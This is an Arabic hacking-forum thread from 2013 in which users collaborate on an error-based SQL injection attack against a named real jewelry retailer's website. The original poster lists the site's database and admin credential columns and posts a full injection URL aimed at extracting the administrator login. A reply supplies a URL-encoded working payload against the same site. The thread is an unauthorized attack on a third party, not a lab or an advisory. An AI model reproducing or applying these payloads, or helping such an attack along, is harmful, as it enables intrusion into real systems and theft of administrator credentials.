:: vBspiders Professional Network ::

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   جـــ'ابات العناكــ'ب (http://www.vbspiders.com/vb/f343.html)
-   -   مشكلة بالحقن !! لو سمحتم مساعدة (http://www.vbspiders.com/vb/t67197.html)

freedom_h@ck3r 03-05-2013 08:05 AM
مشكلة بالحقن !! لو سمحتم مساعدة
 
السلام عليكم ورحمة الله وبركاته

إخواني بحقن موقع دبل كيري وهذا رابط الثغرة
http://www.wholesale-indian-silver-j...view.php?id=74

القاعدة wisj_db_com
طيب انا استخرجت الجداول يلي بالقاعدة وبأحد الجداول يلي هو:
tbl_site_config
لقيت هذه الأعمدة:

'site_admin_login_id' 'site_admin_password'

تمام

عند الاستخراج بيظهر خطأ بيجنني !!

اقتباس:
Cannot Run the Query:

select * from tbl_products where products_categories_id=74 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(tbl_site_config.site_admin_l ogin_id as char),0x27,0x7e) FROM `wisj_db_com`.tbl_site_config LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1-- - order by products_id
as following error is encountered...
اقتباس:

Subquery returns more than 1 row



مع العلم هذا هو رابط الاستغلال يلي عم احقن فيه:

http://www.wholesale-indian-silver-jewelry.com/cat_view.php?id=74 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(tbl_site_config.site_admin_l ogin_id as char),0x27,0x7e) FROM `wisj_db_com`.tbl_site_config LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--

أرجوكم مساعدة لو سمحتم...

ومشكورين سلفاً

freedom_h@ck3r 03-06-2013 11:13 AM
رد: مشكلة بالحقن !! لو سمحتم مساعدة
 
الله يخليكم يا إخوان ولله المشكلة كتير عم تواجهني مع انه الخطوات جميعها صحيحة

fantome195 03-06-2013 01:11 PM
رد: مشكلة بالحقن !! لو سمحتم مساعدة
 
سلمات اسف يا غالي ما عندي اطلاع على ها نوع من الحقن بس انت يمكن اللي عندك مشكل

You have an error in your SQL syntax

aircrack -ng 03-07-2013 12:55 AM
رد: مشكلة بالحقن !! لو سمحتم مساعدة
 
كود:
http://www.wholesale-indian-silver-jewelry.com/cat_view.php?id=74%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20concat%280x7e,0x27,cast%28version%28%29%20as%20char%29,0x27,0x7e%29%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1

freedom_h@ck3r 03-07-2013 05:10 AM
رد: مشكلة بالحقن !! لو سمحتم مساعدة
 
اقتباس:
المشاركة الأصلية كتبت بواسطة aircrack -ng (المشاركة 460821)
كود:
http://www.wholesale-indian-silver-jewelry.com/cat_view.php?id=74%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20concat%280x7e,0x27,cast%28version%28%29%20as%20char%29,0x27,0x7e%29%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1
تمام هي طريقة تانية لاستخراج البيانات المطلوبة ...بس انا هلأ فتت بالحيط..

بدي أعرف بالأساس ليش كان يطلع الخطأ الأولاني

ممكن توضيح عبد الصمد؟؟؟

" لا تعطني سمكة بل علمي كيف أصطادها " ههههه:bye1::bye1:

أسدالله الدمشقي 03-09-2013 02:43 AM
رد: مشكلة بالحقن !! لو سمحتم مساعدة
 
تعلم عالصيد معناها

freedom_h@ck3r 03-09-2013 03:21 AM
رد: مشكلة بالحقن !! لو سمحتم مساعدة
 
اقتباس:
المشاركة الأصلية كتبت بواسطة أسدالله الدمشقي (المشاركة 460927)
تعلم عالصيد معناها
طيب ان شاء الله بجيب أكبر سمكة بعطيك ياها هدية معناتا...

أبشرررررررر

sedrata 07-23-2013 08:31 PM
رد: مشكلة بالحقن !! لو سمحتم مساعدة
 
طيب كيف حليت المشكل

sniffer 07-24-2013 12:08 AM
رد: مشكلة بالحقن !! لو سمحتم مساعدة
 
مشكووووووور اخي

abdallahal3nzy 06-20-2014 03:08 PM
رد: مشكلة بالحقن !! لو سمحتم مساعدة
 
هل هناك حل لنفس المشكلة لكن بالحقن عن طريق post !

abdullah7676 06-29-2014 02:29 PM
رد: مشكلة بالحقن !! لو سمحتم مساعدة
 
شكرا


الساعة الآن 12:18 AM


[ vBspiders.Com Network ]


SEO by vBSEO 3.6.0